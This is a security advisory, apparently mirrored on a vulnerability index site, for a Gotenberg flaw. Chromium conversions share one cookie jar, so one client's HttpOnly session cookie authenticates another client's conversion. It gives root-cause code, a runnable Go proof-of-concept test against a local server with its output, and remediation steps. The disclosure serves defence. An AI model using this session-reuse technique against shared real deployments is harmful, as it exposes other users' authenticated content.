GHSA-74Q8-M7F5-9MJR
Chromium conversions share session cookies across requests
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche v8.38.0 | github.com/gotenberg/gotenberg/v8 · -2 d desde divulgación | |
| Divulgación | Publicada | GHSA-74Q8-M7F5-9MJR divulgada | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Gotenberg reuses one long-lived Chromium BrowserContext for multiple conversions. A request may supply cookies through the multipart `cookies` field, but each conversion creates only a new tab from the shared browser context. The cookie is therefore stored in the browser-wide cookie jar and is automatically reused by later or concurrent conversions for the same origin.
In a shared deployment, Alice can submit an HttpOnly session cookie for a protected application. Mallory, another normal Gotenberg API client, can then request a conversion of that origin without supplying any cookie. Chromium sends Alice's cookie and renders the protected response into Mallory's result.
Mallory does not need the literal cookie value, Chrome DevTools access, host access, or a TLS bypass. The demonstrated primitive is reuse of Alice's cookie authority through Gotenberg's server-side navigation.
Affected versions
- First verified affected release: `v8.4.0`
- Runtime-confirmed affected release: `v8.37.0`
- Current `main` at `c83dbd7bafacb3734ebadf2e33a4049a17d45ec9` remains affected by source inspection
- No fixed release was identified
The cookie input and `Network.setCookie` support were introduced by commit `1d66b43da1c24f1f4ebbfe01eb520544022f9d8a` (`feat(chromium): set cookies`). `v8.3.0` has the persistent browser/tab architecture but not the request cookie input. `v8.4.0` contains both halves of the vulnerable path. Git ancestry places the introducing commit in subsequent v8 tags through `v8.37.0`; intermediate patch releases were not individually executed.
Preconditions
- One Gotenberg Chromium process is shared by mutually untrusted principals.
- Alice submits or causes a valid cookie for an origin.
- Mallory knows that origin and starts another conversion before the cookie expires or Chromium restarts.
- The default `chromium-clear-cookies=false` is sufficient. The default `chromium-max-concurrency=6` creates additional concurrent interleavings, but concurrency is not required for the demonstrated sequential attack.
API authentication is not the root cause. An authenticated upstream service may still multiplex several end users into the same Gotenberg instance.
Root cause
`pkg/modules/chromium/routes.go`, `FormDataChromiumOptions`, accepts request-controlled cookies:
Custom("cookies", func(value string) error {
// SameSite normalization omitted.
err = json.Unmarshal([]byte(normalized), &cookies)
if err != nil {
return fmt.Errorf("unmarshal cookies: %w", err)
}
})`pkg/modules/chromium/browser.go`, `chromiumBrowser.do`, creates a tab from the same persistent `b.ctx` for every conversion:
timeoutCtx, timeoutCancel := context.WithTimeout(b.ctx, time.Until(deadline))
defer timeoutCancel()
taskCtx, taskCancel := chromedp.NewContext(timeoutCtx)
defer taskCancel()`pkg/modules/chromium/tasks.go`, `setCookiesActionFunc`, then writes the request cookie through the shared browser Network context:
cookieParams := network.
SetCookie(cookie.Name, cookie.Value).
WithDomain(cookie.Domain).
WithPath(cookie.Path).
WithSecure(cookie.Secure).
WithHTTPOnly(cookie.HttpOnly).
WithSameSite(cookie.SameSite).
WithExpires(&epochTime)
err := cookieParams.Do(ctx)Closing the tab with `page.Close()` does not dispose the BrowserContext or its cookie jar. The shipped defaults in `pkg/modules/chromium/chromium.go` are:
fs.Int64("chromium-max-concurrency", 6, "Maximum number of concurrent conversions. Chromium supports up to 6")
fs.Bool("chromium-clear-cookies", false, "Clear Chromium cookies between each conversion")Local reproduction
The following test was executed against the exact `v8.37.0` tag using a local Google Chrome and a local `httptest.Server`. It makes no external requests. The protected server returns content only when it receives Alice's synthetic HttpOnly cookie.
Save this as `pkg/modules/chromium/chromium_cookie_isolation_poc_test.go` in a clean `v8.37.0` checkout. Adjust `binPath` if Chrome is installed elsewhere.
package chromium
import (
"context"
"log/slog"
"net/http"
"net/http/httptest"
"os"
"strings"
"testing"
"time"
"github.com/chromedp/cdproto/network"
"github.com/chromedp/chromedp"
)
func TestPoCSeparateConversionsShareAuthenticatedCookieJar(t *testing.T) {
const (
cookieName = "session"
cookieValue = "victim-secret-session"
protectedContent = "AUTHENTICATED-VICTIM-CONTENT"
)
protected := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
cookie, err := r.Cookie(cookieName)
if err != nil || cookie.Value != cookieValue {
http.Error(w, "unauthorized", http.StatusUnauthorized)
return
}
_, _ = w.Write([]byte("<html><body>" + protectedContent + "</body></html>"))
}))
defer protected.Close()
logger := slog.New(slog.DiscardHandler)
b := newChromiumBrowser(browserArguments{
binPath: "/usr/bin/google-chrome",
wsUrlReadTimeout: 15 * time.Second,
hyphenDataDirPath: t.TempDir(),
}).(*chromiumBrowser)
if err := b.Start(logger); err != nil {
t.Fatalf("start Chromium: %v", err)
}
profile := b.userProfileDirPath
defer func() {
b.ctxMu.Lock()
if b.cancelFunc != nil {
b.cancelFunc()
}
b.ctx = nil
b.cancelFunc = nil
b.userProfileDirPath = ""
b.isStarted.Store(false)
b.ctxMu.Unlock()
_ = b.pinningProxy.Stop(logger)
_ = os.RemoveAll(profile)
}()
aliceConversion, cancelAlice := chromedp.NewContext(b.ctx)
defer cancelAlice()
malloryConversion, cancelMallory := chromedp.NewContext(b.ctx)
defer cancelMallory()
if err := chromedp.Run(aliceConversion,
network.Enable(),
chromedp.ActionFunc(func(ctx context.Context) error {
return network.SetCookie(cookieName, cookieValue).
WithURL(protected.URL).
WithHTTPOnly(true).
Do(ctx)
}),
); err != nil {
t.Fatalf("set alice conversion cookie: %v", err)
}
var rendered string
if err := chromedp.Run(malloryConversion,
network.Enable(),
chromedp.Navigate(protected.URL+"/private"),
chromedp.Text("body", &rendered, chromedp.ByQuery),
); err != nil {
t.Fatalf("mallory conversion navigation: %v", err)
}
if !strings.Contains(rendered, protectedContent) {
t.Fatalf("mallory rendered %q, want alice's authenticated content", rendered)
}
t.Log("positive_control: alice_http_only_cookie_authenticated_mallory_navigation=true")
mitigatedConversion, cancelMitigated := chromedp.NewContext(b.ctx)
defer cancelMitigated()
var afterClear string
if err := chromedp.Run(mitigatedConversion,
network.Enable(),
clearCookiesActionFunc(logger, true),
chromedp.Navigate(protected.URL+"/private"),
chromedp.Text("body", &afterClear, chromedp.ByQuery),
); err != nil {
t.Fatalf("mitigated conversion navigation: %v", err)
}
if strings.Contains(afterClear, protectedContent) || !strings.Contains(afterClear, "unauthorized") {
t.Fatalf("after clear-cookies rendered %q, want unauthorized", afterClear)
}
t.Log("negative_control: clear_cookies_before_sequential_conversion=true protected_content_rejected=true")
}Run:
go test ./pkg/modules/chromium \
-run '^TestPoCSeparateConversionsShareAuthenticatedCookieJar$' \
-count=1 -vObserved on `v8.37.0`:
=== RUN TestPoCSeparateConversionsShareAuthenticatedCookieJar
chromium_cookie_isolation_poc_test.go:87: positive_control: separate_conversions_share_cookie_jar=true alice_http_only_cookie_authenticated_mallory_navigation=true
chromium_cookie_isolation_poc_test.go:103: negative_control: clear_cookies_before_sequential_conversion=true protected_content_rejected=true
--- PASS: TestPoCSeparateConversionsShareAuthenticatedCookieJar (0.45s)
PASS
ok github.com/gotenberg/gotenberg/v8/pkg/modules/chromium 0.458sThe positive control proves that Mallory's separate conversion was authenticated by Alice's HttpOnly cookie. The negative control clears the global jar before a later sequential conversion and receives the expected unauthorized response. It does not prove safety under concurrent conversions because `ClearBrowserCookies` and `SetCookie` remain global and unsynchronized.
Cleanup was verified: the PoC canceled its owned allocator, stopped the local pinning proxy, removed its temporary profile, and no matching Chrome process remained.
Impact
The narrow demonstrated impact is cross-request access to content protected by Alice's session. Mallory may render pages, images, or documents that the session authorizes and that Chromium can navigate to. The test does not demonstrate literal extraction of the HttpOnly cookie, automatic URL discovery, account takeover, host code execution, or persistence after the cookie deadline/browser restart.
Meaningful cross-user impact requires a Gotenberg Chromium process shared by mutually untrusted principals. Deployment prevalence was not measured.
Recommended remediation
Create an incognito BrowserContext for each conversion, execute the tab, cookie setup, navigation, and rendering inside it, and dispose it on every success, error, cancellation, and timeout path. With the `chromedp v0.14.2` used by `v8.37.0`, the central change can use:
taskCtx, taskCancel := chromedp.NewContext(
timeoutCtx,
chromedp.WithNewBrowserContext(),
)
defer taskCancel()Global cookie clearing is only a temporary mitigation. Setting `chromium-max-concurrency=1` and enabling cookie/storage cleanup reduces sequential leakage, but cleanup is not isolation and global clear/set operations can interfere with concurrent conversions.
Regression tests should verify that:
- Alice's cookie authenticates only Alice's conversion.
- A sequential Mallory conversion to the same origin receives an unauthorized response.
- Concurrent conversions with different cookies each observe only their own identity.
- Cookies and local storage do not survive error, timeout, or cancellation.
- Proxy, allow-list, deny-list, and browser restart behavior remain intact.
Disclosure notes
A search of the repository's public GitHub Security Advisories on 2026-10-12 did not find a matching cookie-jar or cross-conversion session report. This does not rule out an unpublished private report, so novelty is not claimed as confirmed.
AI assistance disclosure: OpenAI Codex was used for source review, history analysis, PoC construction, local test execution, and report drafting. The source paths and observed PoC output above were checked against `v8.37.0` before submission.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/gotenberg/gotenberg/v8 |
Corregida | v8.38.0 | -2 d | v8.40.0 no afectada |
8.38.0v8.38.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/gotenberg/gotenberg/security/advisories/GHSA-74q8-m7f5-9mjrLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
